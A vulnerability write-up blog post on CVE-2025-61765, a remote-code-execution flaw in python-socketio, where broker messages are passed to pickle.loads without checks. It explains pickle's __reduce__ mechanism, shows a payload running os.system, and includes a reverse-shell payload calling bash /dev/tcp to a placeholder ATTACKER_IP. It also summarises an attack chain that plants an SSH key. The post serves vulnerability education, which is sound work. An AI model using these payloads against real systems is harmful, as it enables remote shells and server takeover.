locus-x64@pwn$

Exploring kernel exploitation.

15 November 2025

CVE-2025-61765: RCE in Socket.IO via Pickle Deserialization

by locus-x64 Raza

Vulnerability

I came across this CVE while looking into pickle deserialization vulnerabilities in Python applications.

CVE-2025-61765 is a Remote Code Execution (RCE) vulnerability in python-socketio library. It affects multi-server setups that use message brokers like Redis, Kafka, or RabbitMQ. The root cause is unsafe use of Python’s pickle module, the library deserializes data from message channels without any validation, letting attackers run arbitrary code on all connected servers.

Before we dive into the vulnerability, let’s first understand what Pickle is and why deserializing untrusted pickle data is dangerous.

What is Pickle?

Pickle is Python’s built-in module for serialization. Serialization is just converting Python objects (like lists, dicts, or custom classes) into a byte stream that you can save to a file or send over the network. Deserialization is the reverse, turning those bytes back into Python objects.

Here’s a simple example:

import pickle

# Some data we want to save
user_data = {
    'name': 'locus-x64',
    'age': 25,
    'skills': ['python', 'security']
}

# Serialize (convert to bytes)
pickled = pickle.dumps(user_data)
print(pickled)  # b'\x80\x04\x95...' (raw bytes)

# Deserialize (convert back to Python object)
restored = pickle.loads(pickled)
print(restored)  # {'name': 'locus-x64', 'age': 25, 'skills': ['python', 'security']}

Pretty useful, right? You can save complex Python objects and restore them later. But here’s the problem…

Why Pickle Deserialization is Dangerous?

Pickle isn’t just a simple data format like JSON. It’s actually a small virtual machine that can execute instructions during deserialization. When you call pickle.loads(), you’re basically running a program embedded in that byte stream.

The Python docs even have a big warning:

Warning: The pickle module is not secure. Only unpickle data you trust.

But why? Let me show you.

The __reduce__ Method

When pickle serializes a custom object, it calls the object’s __reduce__ method to figure out how to rebuild it later. The trick is that __reduce__ can return any function with any arguments, and pickle will call it during deserialization.

import pickle
import os

class Evil:
    def __reduce__(self):
        # This gets called when pickle.loads() runs
        return (os.system, ('whoami',))

# Serialize the evil object
payload = pickle.dumps(Evil())

# When someone loads this...
pickle.loads(payload)  # RUNS: os.system('whoami')

That’s it. When pickle.loads() processes this payload, it calls os.system('whoami'). No questions asked. No checks. Just blind execution.

You can run any Python function this way:

class ReverseShell:
    def __reduce__(self):
        cmd = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
        return (os.system, (cmd,))

Now imagine someone sends this payload to your application and your code runs pickle.loads() on it. Game over.

The Socket.IO Vulnerability

Now that you understand why pickle is dangerous, let’s look at how python-socketio messed up.

Socket.IO Architecture

Socket.IO is a library for real-time communication (think chat apps, live notifications, etc.). When you scale to multiple servers, they need to talk to each other to keep track of connected clients. For this, python-socketio uses message brokers:

The flow is simple:

  1. Server A wants to send a message to all clients
  2. Server A serializes the message and publishes to Redis
  3. All other servers subscribe to Redis and receive the message
  4. Each server deserializes the message and sends to their clients

Step 4 is where the bug is.

The Vulnerable Code

Here’s the code from async_pubsub_manager.py:

async for message in self._listen():
    data = None
    if isinstance(message, dict):
        data = message
    else:
        if isinstance(message, bytes):
            try:
                data = pickle.loads(message)   # [!] VULNERABILITY
            except:
                pass
        # ...

See the problem? Any bytes coming from the message broker get passed to pickle.loads(). No signature check. No validation. Nothing.

If an attacker can publish to the Redis channel (maybe through a misconfigured broker, or by compromising another service), they can send a malicious pickle payload. Every Socket.IO server subscribed to that channel will execute the attacker’s code.

Exploitation Scenario and BlueRock’s Detection

BlueRock has demonstrated a detailed exploitation scenario along with a proof-of-concept (PoC) in their blog post. Their demo shows the full attack chain:

  1. A victim Socket.IO server running with multiple instances connected via Redis
  2. An attacker with access to the same Redis instance (simulating a compromised edge server)
  3. The attacker crafts a malicious pickle payload designed to write an SSH key to ~/.ssh/authorized_keys
  4. The payload is published to the Redis socketio channel
  5. All subscribed Socket.IO servers immediately deserialize and execute the payload

The attack requires no user interaction, Socket.IO servers are constantly listening to their channels. The moment a malicious payload arrives, it gets executed automatically.

BlueRock also showcased their runtime protection that can detect and block pickle deserialization attacks. Check out their blog for the full demo video.

References

, locus-x64

tags: Vulnerability Research - Python - Deserialization